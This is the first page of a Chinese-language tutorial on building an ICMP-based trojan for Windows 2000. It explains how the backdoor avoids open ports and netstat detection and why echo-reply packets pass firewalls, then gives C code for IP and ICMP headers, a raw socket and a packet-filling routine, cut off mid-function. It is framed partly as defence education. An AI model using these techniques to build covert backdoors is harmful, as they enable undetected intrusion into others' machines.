本文會詳細的分析Win2000下一種新型木馬的內部構造和防御方法。(本文默認的*作系統為Win2000,開發環境為VC++6.0。)
大家知道,一般的"古典"型木馬都是通過建立TCP連接來進行命令和數據的傳遞的,但是這種方法有一個致命的漏洞,就是木馬在等待和運行的過程中,始終有一個和外界聯系的端口打開著,這是木馬的阿喀琉斯之踵(參看希臘神話《特洛伊戰紀》),也是高手們查找木馬的殺手锏之一(Netstat大法)。所謂道高一尺,魔高一丈,木馬也是在斗爭中不斷進步不斷成長的,其中一種ICMP木馬就徹底擺脫了端口的束縛,成為黑客入侵後門工具中的佼佼者。
什麼是ICMP呢?ICMP全稱是Internet Control Message Protocol(互聯網控制報文協議)它是IP協議的附屬協議,用來傳遞差錯報文以及其他需要注意的消息報文,這個協議常常為TCP或UDP協議服務,但是也可以單獨使用,例如著名的工具Ping(向Mike
Muuss致敬),就是通過發送接收ICMP_ECHO和ICMP_ECHOREPLY報文來進行網絡診斷的。
實際上,ICMP木馬的出現正是得到了Ping程序的啟發,由於ICMP報文是由系統內核或進程直接處理而不是通過端口,這就給木馬一個擺脫端口的絕好機會,木馬將自己偽裝成一個Ping的進程,系統就會將ICMP_ECHOREPLY(Ping的回包)的監聽、處理權交給木馬進程,一旦事先約定好的ICMP_ECHOREPLY包出現(可以判斷包大小、ICMP_SEQ等特征),木馬就會接受、分析並從報文中解碼出命令和數據。
ICMP_ECHOREPLY包還有對於防火牆和網關的穿透能力。對於防火牆來說,ICMP報文是被列為危險的一類:從Ping of Death到ICMP風暴到ICMP碎片攻擊,構造ICMP報文一向是攻擊主機的最好方法之一,因此一般的防火牆都會對ICMP報文進行過濾;但是ICMP_ECHOREPLY報文卻往往不會在過濾策略中出現,這是因為一旦不允許ICMP_ECHOREPLY報文通過就意味著主機沒有辦法對外進行Ping的*作,這樣對於用戶是極其不友好的。如果設置正確,ICMP_ECHOREPLY報文也能穿過網關,進入局域網。
為了實現發送/監聽ICMP報文,必須建立SOCK_RAW(原始套接口),首先,我們需要定義一個IP首部:
typedef struct iphdr {
unsigned int version:4; // IP版本號,4表示IPV4
unsigned int h_len:4; // 4位首部長度
unsigned char tos; // 8位服務類型TOS
unsigned short total_len; // 16位總長度(字節)
unsigned short ident; //16位標識
unsigned short frag_and_flags; // 3位標志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; // 8位協議 (TCP, UDP 或其他)
unsigned short checksum; // 16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader;
然後定義一個ICMP首部:
typedef struct _ihdr {
BYTE i_type; //8位類型
BYTE i_code; //8位代碼
USHORT i_cksum; //16位校驗和
USHORT i_id; //識別號(一般用進程號作為識別號)
USHORT i_seq; //報文序列號
ULONG timestamp; //時間戳
}IcmpHeader;
這時可以同過WSASocket建立一個原始套接口:
SockRaw=WSASocket(
AF_INET, //協議族
SOCK_RAW, //協議類型,SOCK_RAW表示是原始套接口
IPPROTO_ICMP, //協議,IPPROTO_ICMP表示ICMP數據報
NULL, //WSAPROTOCOL_INFO置空
0, //保留字,永遠置為0
WSA_FLAG_OVERLAPPED //標志位
);
注:為了使用發送接收超時設置(設置SO_RCVTIMEO, SO_SNDTIMEO),必須將標志位置為WSA_FLAG_OVERLAPPED
隨後你可以使用fill_icmp_data子程序填充ICMP報文段:
fill_icmp_data函數:
void fill_icmp_data(char * icmp_data, int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr = (IcmpHeader*)icmp_data;
icmp_hdr->i_type = ICMP_ECHOREPLY; //類型為ICMP_ECHOREPLY
icmp_hdr->i_code = 0;
icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //識別號為進程號
icmp_hdr->i_cksum = 0; //校驗和初始化
icmp_hdr->i_seq = 0;
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] 下一頁